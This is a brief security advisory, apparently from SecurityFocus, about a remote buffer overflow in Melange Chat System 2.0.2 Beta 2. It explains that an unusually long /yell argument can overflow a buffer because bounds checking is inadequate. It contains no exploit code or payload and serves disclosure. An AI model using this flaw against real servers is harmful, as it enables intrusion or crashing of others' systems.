Melange Chat System 2.0.2 Beta 2 /yell Remote Buffer Overflow Vulnerability

                                                source: http://www.securityfocus.com/bid/4508/info

Melange Chat System is a chat server program developed by Christian Walter. Currently support for this application is no longer available.

Due to inadequate bounds checking in Melange, it is possible for users to initiate a buffer overflow.

Submitting an unusually large /yell argument composed of arbitrary data, could cause the overflow to occur.
